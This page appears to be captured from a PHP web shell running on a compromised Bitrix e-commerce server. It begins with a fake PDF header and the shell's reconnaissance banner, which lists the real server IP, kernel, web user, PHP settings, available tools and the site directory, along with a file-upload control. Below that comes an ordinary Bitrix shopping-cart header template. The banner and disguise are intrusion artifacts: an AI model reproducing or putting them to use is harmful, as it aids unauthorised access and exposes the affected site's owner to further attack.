%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.135.200.4 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.basket.basket.line/templates/.default/ |
Upload File : |
<?if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true) die(); /** * @global array $arParams * @global CUser $USER * @global CMain $APPLICATION * @global string $cartId */ $compositeStub = (isset($arResult['COMPOSITE_STUB']) && $arResult['COMPOSITE_STUB'] == 'Y'); ?><div class="bx-hdr-profile"> <?if (!$compositeStub && $arParams['SHOW_AUTHOR'] == 'Y'):?> <div class="bx-basket-block"> <i class="fa fa-user"></i> <?if ($USER->IsAuthorized()): $name = trim($USER->GetFullName()); if (! $name) $name = trim($USER->GetLogin()); if (mb_strlen($name) > 15) $name = mb_substr($name, 0, 12).'...'; ?> <a href="<?=$arParams['PATH_TO_PROFILE']?>"><?=htmlspecialcharsbx($name)?></a> <a href="?logout=yes&<?=bitrix_sessid_get()?>"><?=GetMessage('TSB1_LOGOUT')?></a> <?else: $arParamsToDelete = array( "login", "login_form", "logout", "register", "forgot_password", "change_password", "confirm_registration", "confirm_code", "confirm_user_id", "logout_butt", "auth_service_id", "clear_cache", "backurl", ); $currentUrl = urlencode($APPLICATION->GetCurPageParam("", $arParamsToDelete)); if ($arParams['AJAX'] == 'N') { ?><script type="text/javascript"><?=$cartId?>.currentUrl = '<?=$currentUrl?>';</script><? } else { $currentUrl = '#CURRENT_URL#'; } $pathToAuthorize = $arParams['PATH_TO_AUTHORIZE']; $pathToAuthorize .= (mb_stripos($pathToAuthorize, '?') === false ? '?' : '&'); $pathToAuthorize .= 'login=yes&backurl='.$currentUrl; ?> <a href="<?=$pathToAuthorize?>"> <?=GetMessage('TSB1_LOGIN')?> </a> <? if ($arParams['SHOW_REGISTRATION'] === 'Y') { $pathToRegister = $arParams['PATH_TO_REGISTER']; $pathToRegister .= (mb_stripos($pathToRegister, '?') === false ? '?' : '&'); $pathToRegister .= 'register=yes&backurl='.$currentUrl; ?> <a href="<?=$pathToRegister?>"> <?=GetMessage('TSB1_REGISTER')?> </a> <? } ?> <?endif?> </div> <?endif?> <div class="bx-basket-block"><? if (!$arResult["DISABLE_USE_BASKET"]) { ?><i class="fa fa-shopping-cart"></i> <a href="<?= $arParams['PATH_TO_BASKET'] ?>"><?= GetMessage('TSB1_CART') ?></a><? } if (!$compositeStub) { if ($arParams['SHOW_NUM_PRODUCTS'] == 'Y' && ($arResult['NUM_PRODUCTS'] > 0 || $arParams['SHOW_EMPTY_VALUES'] == 'Y')) { echo $arResult['BASKET_COUNT_DESCRIPTION']; if ($arParams['SHOW_TOTAL_PRICE'] == 'Y') { ?> <br <? if ($arParams['POSITION_FIXED'] == 'Y'): ?>class="hidden-xs"<? endif; ?>/> <span> <?=GetMessage('TSB1_TOTAL_PRICE')?> <strong><?=$arResult['TOTAL_PRICE']?></strong> </span> <? } } } if ($arParams['SHOW_PERSONAL_LINK'] == 'Y'):?> <div style="padding-top: 4px;"> <span class="icon_info"></span> <a href="<?=$arParams['PATH_TO_PERSONAL']?>"><?=GetMessage('TSB1_PERSONAL')?></a> </div> <?endif?> </div> </div>